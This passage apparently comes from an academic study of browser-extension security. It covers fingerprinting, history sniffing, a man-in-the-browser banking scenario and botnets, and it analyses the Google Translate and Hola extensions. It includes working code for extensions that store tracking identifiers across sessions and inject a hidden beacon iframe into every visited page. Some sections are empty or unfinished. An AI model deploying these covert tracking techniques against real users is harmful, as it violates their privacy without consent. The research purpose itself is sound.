There exists numerous scientific papers about fingerprinting techniques [38, 31, 34, 22, 32, 35]. Because detailed descriptions are off topic for our paper, we focus on a brief description of popular methods.

- **Browser Fingerprinting** The browser provides a variety of specific information to a web page that can be used to generate a fingerprint of the user's browser. The following list shows examples of fingerprinting properties and how to access them using JavaScript.

Property	**JavaScript API**	**Example Output**
System	`navigator.platform`	"Win32"
Browser Name	`navigator.userAgent`	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	`navigator.appName`	"Netscape"

Screen Resolution	`screen.width`
	`screen.height`
	`screen.pixelDepth`
		1366 (pixels)
		768 (pixels)
		24 (byte per pixel)

Timezone	`Date.getTimezoneOffset()`	-60 (equals UTC+1)
Browser Language	`navigator.language`	"de"
System Languages	`navigator.languages`	["de", "en-US", "en"]

- **Fonts** The list of fonts available to a web page can serve as part of a user identification. The browser plugin Flash provides an API that returns a list of fonts installed on the current system. As per current scientific works, the

order of the fonts list is stable and machine-specific. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are installed or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not installed, the browser uses a fall-back font to draw the text. Comparing the width and hight of the drawn font to those of the fall-back font gives an evidence about the font being installed.

- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. The attacker An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the tread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [38]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. This event can be captured giving the desired evidence.

- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Keaton Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [31]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

6.2.1 Extension As Identifier Storage

An extension is able to store information between browser sessions. Chrome even provides a cloud based storage that is automatically synced if the user uses Chrome with his Google account. This mechanism may be used to provide an additional storage for identifiers. To receive and return the identifiers from and to a web page, we adopt the `window.postMessage()` method which allows our content script to communicate with the current web page. We implemented an extension that waits for a web page to send a message with a new identifier and returns all currently stored identifiers. Our extension needs the `storage` permission to access the local or if we use Chrome the cloud storage and a single content script that matches "`http://*/*`" and "`https://*/*`". The content script has the following source code:

```
1         window.addEventListener('message', function(event) {
2         if(event.data.identifier) {
3         chrome.storage.sync.get('identifiers', function(result) {
4         var identifiers = result.identifiers !== undefined ? result.identifiers : {};
5         window.postMessage({'identifiers' : identifiers }, '*');
6         identifiers[event.data.identifier] = true;
7         chrome.storage.sync.set({'identifiers' : identifiers});
8         });
9         }
10        }, false);
```

We start with adding an event listener for the `message` event. This event is triggered if the method `window.postMessage()` is called. To identify messages that are addressed to us, we check on line 2 if the `identifier` key is present in the data object of the event. If this condition is met, we will retrieve the already stored identifiers from the storage API. On line 4, we check if the list of identifiers already exists and create it if not. Then, we return the list to the web page with the postMessage method. Finally on line 6 and 7 we add the new identifier to our list and store the list.

Because this communication channel is our own implementation we can not test it on existing web sites. Therefore, we implemented our own web page with the following JavaScript attached:

```
1         var newIdentifier = '#{newIdentifier}';
2         var oldIdentifier = '#{oldIdentifier}';
3
4         window.addEventListener('message', function(event) {
5         if(event.data.identifiers && event.data.identifiers[oldIdentifier] === true) {
6         alert('old identifier received');
7         }
```

```
8           }, false);
9           window.postMessage({ 'identifier' : newIdentifier }, '*');
```

This JavaScript code is taken from the template of our web page. Our server replaces `#{newIdentifier}` and `#{oldIdentifier}` with actual values. The purpose of this script is to store the new identifier at the user's browser and to check if the old identifier was stored at an earlier date. On line 4, we again use an event listener to react if another script calls `window.postMessage()`. We identify the call from our content script by checking that the key `identifiers` was sent along the event. On the same line, we check if the old identifier is stored inside the list of identifiers. In that case, we successfully tracked a user between two calls of our web page. Finally, we post a message ourself to propagate the new identifier to our content script.

6.2.2 Extension As Web Beacon

A web beacon notifies a third party that a specific web page was accessed. It fetches a resource from the server and sends possible tracking cookies along the request. We implemented an extension that embeds an invisible iframe element in every visited web page. The iframe loads an empty web page from our server along with a tracking cookie. The second time our content script is executed, the tracking cookie will be sent back to our server with the request from the iframe. The extension needs a single content script with the matching attributes "`http://*/*`" and "`https://*/*`" and no further permissions.

```
1           var iframe = document.createElement('iframe');
2           iframe.setAttribute('src', 'https://localhost:3001/tracking/beacon');
3           iframe.setAttribute('style', 'display: none;');
4           document.body.appendChild(iframe);
```

We create a new `iframe` element, set it's `src` attribute to the address of our web beacon server, set it's `style` attribute to hide if and finally append the iframe to the web page.

6.2.3 Key Logger

JavaScript enables us to register events for every interaction the user has with the current web page. This gives us the possibility to exactly observe what elements the user clicks, double clicks, or drag and drops and what text he enters in input fields. If we combine all these information, we are able to track the user on his path through the web page.

6.2.4 Additional Fingerprint Data From Extensions

The browser provides additional information to its extension which are not available for web pages. Those information may be used to generate a more accurate fingerprint of the user's browser and system. Accessing the information needs additional permissions. The following list shows provided information that may be retrieved for a fingerprint and the permissions needed to access them:

Permission	**Information**	**Example**
system.cpu	Number of processor kernels	
	Processor's name	Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz
	Processor's capabilities	"sse", "sse2", "sse3"
system.memory	Memory capacity	6501200096
gcm	An unique ID for the extension instance	
management	List of installed extensions	Extension ID and version

We implemented an extension that fetches the described information and sends them to our remote server. The instruction how to use the API to get the listed information is shown on the developer's platform and we have previously shown how to send information to a remote server.

6.2.5 History Sniffing With An Extension

6.2.6 Bypass IP Proxies

6.3 Man In The Browser

The Man-in-the-browser (MITB) is a browser based attack related to man-in-the-middle attack (MITM) [20]. It intercepts and alters web traffic to simulate a false environment for the user where his interactions will harm himself.

The MITM is an attack scenario in computer cryptography against a direct communication between two parties where the attacker secretly gains access to the exchanged messages. This gives him the opportunity to either steal desired information or alter the communication. If he alters the traffic in the right way, he is able to impersonate one party and deceive the other one to think the communication is still private. To gain access to the communication channel, an MITM attacker has to use vulnerabilities in obsolete cryptography algorithm or exploits in buggy implemented soft or hardware. An MITB attack on the other hand is located inside the browser from where it intercepts in and outgoing web requests. The attack will be successful irrespective of security mechanisms because it takes place before any encryption or authentication is applied.

An MITB attacker often manipulates the code base of a browser to perform his attacks and therefore needs access to the user's machine. A simpler realization of MITB attacks can be achieved using extensions. An extension can manipulate a web page to show false information and alter outgoing web requests without knowledge of the user. It is a part of the browser itself and therefore obviates the need to manipulate the browser's code base which also decreases the probability of discovery.

A simple MITB attack scenario using an extension: The user logs into the online platform of his bank to perform a transaction. He enters needed information into the provided form and submits it back to the bank's server. The extension reads the outgoing web request and changes the target account and rises the transfer amount. The banking system can not recognize the manipulated request, because the communication channel is highly secured and the user was successfully identified. To review and check the transaction, the banking system sends back an receipt to the user. The extension intercepts the returning web request and changes the previously manipulated data back to its original state. The user does also not recognize the manipulation at this point. To hamper such attacks, modern banking systems use an extra verification before they execute the transaction. It often consists a piece of information which comes from an external source. For example a TAN generator calculates a values from the target account number, the transfer amount and some data stored on the user's banking card. This would prevent our attack scenario, because the value which is entered by the user will not match the value calculated on the server and the extension can not access the information on the banking card to calculate the correct value itself.

An extension

6.4 Botnet

A botnet is a network consisting of multiple compromised clients which can be controlled remotely. They are mostly used to execute large scaled cyber attacks such as Distributed Denial of Service (DDoS) or spamming. In recent times, botnets are also used to harvest social media valuations such as Facebook's likes. The controller of such a botnet - also called bot master - sales these valuations to thousands and executes them with the social media accounts which are used on the compromised machines. With the same manner, the bot master can execute DDoS attacks to make a web service unavailable for the general public. This is achieved by overwhelming the server's capacities with requests. Either targeting the network and flooding it's bandwidth or the application itself using up all of the computer's CPU resources. A simple Denial of Service (DoS) attack calls the targeted web service numerous times a second from a single origin. If the attacker uses a botnet, he is able to perform the DoS attack from multiple devices simultaneously which results in an ever bigger overwhelm at the targeted server.

Extensions may be used as a bots. They are hosted on many different computers and can execute web requests. Extensions that act as a bot where previously researched for Internet Explorer, Firefox and Chrome [29].

6.5 Summary

We have shown that we can use an extension to perform and support attacks to harm the current user's privacy. Additionally, we provided ways to propagate collected information either to remote servers or to the currently visited web page. The following table summarizes our implemented attacks and lists what permissions an extension needs to execute the attack.

Attack	Needed Permissions
Send information to any host	Content Script **or** `"http://*/*"`, `"https://*/*"` **or** `<all_urls>`
Exchange messages with the current web page	Content Script
Steal information from the current web page	Content Script
Steal user credentials	Content Script
Web beacon	Content Script
History Sniffing	Content Script **or** `"history"`

Table 6: Summary of attacks and needed permission

Trusted Bank

Finanzial Information

Account	IBAN	Balance
Giro	DE12 4122 3321 4212 7664 98	432,03 EUR
Daily Allowance	DE32 2313 0429 3532 3466 31	10.023,42 EUR

Figure 1: The example bank web page which we used for our extension to steal sensitive information from.

```
1  <h1>Trusted Bank</h1>
2  <h3>Finanzial Information</h3>
3  <table border="1">
4    <thead>
5      <tr>
6        <th>Account</th>
7        <th>IBAN</th>
8        <th>Balance</th>
9      </tr>
10   </thead>
11   <tbody>
12     <tr>
13       <td>Giro</td>
14       <td>DE12 4122 3321 4212 7664 98</td>
15       <td>432,03 EUR</td>
16     </tr>
17     <tr>
18       <td>Daily Allowance</td>
19       <td>DE32 2313 0429 3532 3466 31</td>
20       <td>10.023,42 EUR</td>
21     </tr>
22   </tbody>
23 </table>
```

Figure 2: The HTML source code of our example bank web page.

Figure 3: Example web page with a login form.

```
1  <form method="post">
2    <p>
3      <label>Username:</label>
4      <input type="text" name="username" />
5    </p>
6    <p>
7      <label>Password:</label>
8      <input type="password" name="password"/>
9    </p>
10   <p>
11     <input type="submit" value="Login"/>
12   </p>
13 </form>
```

Figure 4: The HTML source code of our example login web page.

Extension	Version	Users
Google Translate	2.0.6	6,049,594
Unlimited Free VPN - Hola	1.11.973	8,419,372

Table 7: Summary of analyzed extension

7 Extension Analysis

We analyzed popular Chrome extensions focusing on what of our previously described attacks can be launched with the extensions current permissions and content declarations. The Google Chrome Web Store does not provide the functionality to sort extension based on users. Furthermore, the shown number of users is cut if it is higher than 10,000,000. Therefore, we had to search manually through the web store and select extensions for evaluation ourself. In this section we present the results of our extension analysis.

7.1 Google Translate

Adds a context menu entry for the web page to translate highlighted text. Opens the Google translation page in a new tab with the selected text and its translation. Adds an pop-up to translate text inside a text field or the whole page.

Content	Permissions	CSP
non-persistent background page content script `<all_urls>`	activeTab contextMenus storage	unsafe eval inline scripts from `https://translate.googleapis.com`

Table 8: Google Translate - Extension's content and permissions

- Read and change all your data on the websites you visit

List 1: Google Translate - Warnings shown on installation

The extension uses the combination of a non-persistent background page and the `activeTab` permission to inject a content script if the user clicks the extension's context menu entry. However, the extension still injects the same content script in every web page making the activeTab functionality useless. The content script and the JavaScript for the pop-up are compressed. Therefore, we could not provide accurate statements about the code's capabilities. We found the function `eval` used in a way to parse a JSON string to a JavaScript object: `eval("("+a+")")`. The compressed code restricted us to further investigate where the string parameter of the eval function originates, but we assume it is most likely loaded from a remote host.

Proposals To improve the security of the extension itself and its users we propose to remove the unnecessary automatic injection of the content script. The use of the activeTab permission increases the security for the user, because the extension is only active when the user invokes it. Furthermore, we propose to remove the eval function because it is a common source of Cross-Site-Scripting attacks. The parameter given to eval may either be a simple JSON object or a whole JavaScript as a string. Due to the compressed state of the code, we were not able to figure out which case applies. If only JSON objects are used, we propose the use of `JSON.parse()` as an alternative without the danger of possible Cross-Site-Scripting attacks. If the other case applies, the developers should consider if it is necessary for the extension's purpose to load remote scripts. If the loaded scripts are static, they should be placed inside the extension's installation bundle.

7.2 Unlimited Free VPN - Hola

Hola provides a Virtual Private Network (VPN) as a free of charge extension. It routes the user's traffic through different countries to mask his true location. This allows to bypass regional restrictions on websites. A typical VPN network secures the web requests of its user's by routing the traffic to a few endpoints, masking the web request's origin. But Hola uses the devices of its unpaid customers to route traffic. It turns the user's computer into a VPN server and simultaneously to a VPN endpoint which means that the traffic of other users may exit through his Internet connection and take on his IP address. A Hola user's IP is therefore regularly exposed to the open Internet by traffic from other user's. The user

- Steal user data from every web page
- Store an persistent identifier
- Execute any remote loaded script

List 2: Google Translate - Possible attacks

himself has no possibility to control what content is loaded with his IP address as origin. The company makes money by providing the network to paying customers. Those are able to route their own traffic over the network to targeted endpoints.

The paid functionality of Hola has strong similarities with a bot net which is used for denial of service or spmaming attacks. Actually, Hola recently received negative publicity as the owner of the web platform *8chan* claimed that an attacker used the Hola network to perform a DDoS attack against his platform [18]. Thereupon, researchers from the cyber security company *Vectra*[13] analyzed Hola's application and network. They discovered that Hola has - in addition to the public botnet-like functionality of routing huge amounts of targeted traffic - several features which may be used to perform further cyber attacks, such as download and execute any file while bypassing anti virus checking [28].

Content	**Permissions**	**CSP**
persistent background page content script `<all_urls>` content script `*://*.hola.org/*`	cookies storage tabs webNavigation webRequest webRequestBlocking `<all_urls>`	unsafe eval inline scripts from 15 different URLs

Table 9: Unlimited Free VPN - Hola - Extension's content and permissions

- Read and change all your data on the websites you visit

List 3: Unlimited Free VPN - Hola - Warnings shown on installation

Has to be active all the time => persistent background page. Needs to intercept web requests => webRequest API. To many script sources.

7.3 Evernote Web Clipper

[13] Vectra Homepage: `http://www.vectranetworks.com/`

Content	Permissions	CSP

persistent background page
32 content scripts `*://*/*`
2 content scripts `*://*.salesforce.com/*`
content script `*://*.wsj.com/*`
	activeTab
	contextMenus
	cookies
	notifications
	tabs
	unlimitedStorage
	`<all_urls>`
	`chrome://favicon/*`
	`http://*/*`
	`https://*/*`
		inline scripts from
		`https://ssl.google-analytics.com`

Table 10: Evernote Web Clipper - Extension's content and permissions

- Read and change all your data on the websites you visit

List 4: Evernote Web Clipper - Warnings shown on installation

References

[1] Chrome Developer - JavaScript APIs. https://developer.chrome.com/extensions/api_index. [accessed 2015-12-26].

[2] Dev.Opera - Extension APIs Supported in Opera. https://dev.opera.com/extensions/apis/. [accessed 2015-12-26].

[3] Dev.Opera - Publishing Guidelines. https://dev.opera.com/extensions/publishing-guidelines/#acceptance-criteria. [accessed 2016-01-18].

[4] DOM Browser Support. http://www.webbrowsercompatibility.com/dom/desktop/. [accessed 2015-12-26].

[5] MDN ADD-ON SDK - Chrome Authority. https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Chrome_Authority. [acessed 2016-01-04].

[6] MDN ADD-ON SDK - High-Level APIs. https://developer.mozilla.org/en-US/Add-ons/SDK/High-Level_APIs. [accessed 2016-01-04].

[7] MDN ADD-ON SDK - Low-Level APIs. https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs. [accessed 2016-01-04].

[8] MDN ADD-ON SDK - Observer Notification. https://developer.mozilla.org/en-US/docs/Observer_Notifications. [acessed 2016-01-04].

[9] MDN Add-ons - Review Policies. https://developer.mozilla.org/en-US/Add-ons/AMO/Policy/Reviews. [acessed 2016-01-18].

[10] MDN JavaScript Reference - Don't use eval needlessly! https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it. [accessed 2015-12-29].

[11] MDN WebExtensions - Chrome incompatibilities. https://developer.mozilla.org/en-US/Add-ons/WebExtensions/Chrome_incompatibilities. [accessed 2015-12-26].

[12] Mozilla Wiki - WebExtensions. https://wiki.mozilla.org/WebExtensions. [accessed 2015-12-30].

[13] NPAPI:ClearSiteData. https://wiki.mozilla.org/NPAPI:ClearPrivacyData. [accessed 2016-05-25].

[14] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.

[15] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.

[16] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.

[17] A. Bovens. Dev.Opera - Major Changes in Opera's Extensions Infrastructure. https://dev.opera.com/articles/major-changes-in-operas-extensions-infrastructure/. [accessed 2015-12-11].

[18] F. Brennman. 8chan - hola. https://8ch.net/hola.html. [accessed 2016-04-10].

[19] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.

[20] K. Curran and T. Dougan. Man in the browser attacks. *Int. J. Ambient Comput. Intell.*, 4(1):29–39, Jan. 2012.

[21] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference*, ACSAC '09, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.

[22] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies*, PETS'10, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.

[23] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems*, ICECCS '05, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.

[24] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.

[25] S. Kamkar. evercookie – never forget. `http://samy.pl/evercookie/`. [accessed 2016-02-26].

[26] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.

[27] E. Kay. Chromium Blog - Protecting Windows users from malicious extensions . `http://blog.chromium.org/2013/11/protecting-windows-users-from-malicious.html`. [accessed 2016-01-18].

[28] V. T. Labs. Technical analysis of hola. `http://blog.vectranetworks.com/blog/technical-analysis-of-hola`. [accessed 2016-04-10].

[29] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third Inernational Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.

[30] L. Liu, X. Zhang, V. Inc, G. Yan, and S. Chen. Chrome extensions: Threat analysis and countermeasures. In *In 19th Network and Distributed System Security Symposium (NDSS âĂŹ12*, 2012.

[31] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.

[32] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.

[33] K. Needham. The Future of Developing Firefox Add-ons. `https://blog.mozilla.org/addons/2015/08/21/the-future-of-developing-firefox-add-ons/`. [accessed 2015-12-11].

[34] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy*, SP '13, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.

[35] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.

[36] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.

[37] M. A. Rajab. Protecting users from malicious downloads. `http://blog.chromium.org/2011/04/protecting-users-from-malicious.html`. [accessed 2015-12-26].

[38] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.

[39] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment*, DIMVA '07, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.

[40] vabr@chromium.org. Chromium blog issue 378419. `https://bugs.chromium.org/p/chromium/issues/detail?id=378419`. [accessed 2016-03-18].

[41] A. van Kesteren. World Wide Web Consortium URL specifications. https://url.spec.whatwg.org/. [accessed 2016-04-25].

[42] A. van Kesteren, J. Aubourg, J. Song, and H. R. M. Steen. World Wide Web Consortium XMLHttpRequest specifications. https://www.w3.org/TR/XMLHttpRequest/. [accessed 2016-04-27].

[43] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.

[44] X. Xing, W. Meng, B. Lee, U. Weinsberg, A. Sheth, R. Perdisci, and W. Lee. Understanding malvertising through ad-injecting browser extensions. In *Proceedings of the 24th International Conference on World Wide Web*, WWW '15, pages 1286–1295, New York, NY, USA, 2015. ACM.